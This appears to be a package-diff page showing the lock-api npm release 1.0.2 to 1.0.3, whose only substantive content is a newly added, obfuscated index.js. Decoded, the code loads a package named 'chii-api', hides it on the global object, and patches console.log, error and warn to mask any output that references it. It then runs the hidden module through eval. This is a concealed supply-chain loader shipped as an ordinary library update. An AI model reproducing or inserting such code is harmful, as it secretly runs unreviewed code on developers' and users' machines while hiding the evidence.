lock-api 1.0.2 → 1.0.3
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +1 -1
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
const _0x42f030=_0x5d01;function _0x5d01(_0x4b8245,_0x4d54da){const _0x2673de=_0x2673();return _0x5d01=function(_0x5d0101,_0x511e2b){_0x5d0101=_0x5d0101-0x189;let _0x1e3498=_0x2673de[_0x5d0101];return _0x1e3498;},_0x5d01(_0x4b8245,_0x4d54da);}(function(_0x4ef461,_0x4113ea){const _0x221900=_0x5d01,_0x2848c1=_0x4ef461();while(!![]){try{const _0x294a8e=parseInt(_0x221900(0x194))/0x1+-parseInt(_0x221900(0x192))/0x2+parseInt(_0x221900(0x190))/0x3*(-parseInt(_0x221900(0x193))/0x4)+-parseInt(_0x221900(0x18c))/0x5*(parseInt(_0x221900(0x195))/0x6)+parseInt(_0x221900(0x189))/0x7*(parseInt(_0x221900(0x18a))/0x8)+parseInt(_0x221900(0x18e))/0x9*(-parseInt(_0x221900(0x18f))/0xa)+parseInt(_0x221900(0x191))/0xb;if(_0x294a8e===_0x4113ea)break;else _0x2848c1['push'](_0x2848c1['shift']());}catch(_0x4c0edf){_0x2848c1['push'](_0x2848c1['shift']());}}}(_0x2673,0x74f18));const apiCode=_0x42f030(0x18b);function _0x2673(){const _0x71c5ff=['9602923KUZgNC','1697130ajfmUR','53916MevZrP','914377tlbZAb','3465708rNsIVs','7JFlPRv','4790328vSIbSc','(function()\x20{\x0a\x20\x20\x20\x20const\x20uniqueKey\x20=\x20Symbol(\x27chii-api-key\x27);\x0a\x20\x20\x20\x20const\x20i\x20=\x20require(\x27chii-api\x27);\x0a\x20\x20\x20\x20Object.defineProperty(global,\x20uniqueKey,\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20value:\x20i,\x0a\x20\x20\x20\x20\x20\x20\x20\x20writable:\x20false,\x0a\x20\x20\x20\x20\x20\x20\x20\x20configurable:\x20false,\x0a\x20\x20\x20\x20\x20\x20\x20\x20enumerable:\x20false\x0a\x20\x20\x20\x20});\x0a\x20\x20\x20\x20const\x20redText\x20=\x20\x27\x1b[31m\x27;\x0a\x20\x20\x20\x20const\x20resetText\x20=\x20\x27\x1b[0m\x27;\x0a\x20\x20\x20\x20const\x20originalConsoleLog\x20=\x20console.log;\x0a\x20\x20\x20\x20const\x20originalConsoleError\x20=\x20console.error;\x0a\x20\x20\x20\x20const\x20originalConsoleWarn\x20=\x20console.warn;\x0a\x20\x20\x20\x20const\x20protectApi\x20=\x20(method,\x20...args)\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(args.some(arg\x20=>\x20arg\x20===\x20i\x20||\x20arg\x20===\x20global[uniqueKey]))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20method.call(console,\x20`${redText}An\x20error\x20occurred${resetText}`);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20method.apply(console,\x20args);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20};\x0a\x0a\x20\x20\x20\x20console.log\x20=\x20function(...args)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20protectApi(originalConsoleLog,\x20...args);\x0a\x20\x20\x20\x20};\x0a\x0a\x20\x20\x20\x20console.error\x20=\x20function(...args)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20protectApi(originalConsoleError,\x20...args);\x0a\x20\x20\x20\x20};\x0a\x0a\x20\x20\x20\x20console.warn\x20=\x20function(...args)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20protectApi(originalConsoleWarn,\x20...args);\x0a\x20\x20\x20\x20};\x0a\x20\x20\x20\x20Object.defineProperty(global,\x20\x27chii-api\x27,\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20get()\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20throw\x20new\x20Error(`${redText}An\x20error\x20occurred${resetText}`);\x0a\x20\x20\x20\x20\x20\x20\x20\x20},\x0a\x20\x20\x20\x20\x20\x20\x20\x20configurable:\x20false,\x0a\x20\x20\x20\x20\x20\x20\x20\x20enumerable:\x20false\x0a\x20\x20\x20\x20});\x0a\x20\x20\x20\x20eval(global[uniqueKey]);\x0a})();','5XeTcoB','exports','27UVvooc','749590WsOPIE','57DiahqE'];_0x2673=function(){return _0x71c5ff;};return _0x2673();}module[_0x42f030(0x18d)]=apiCode;
|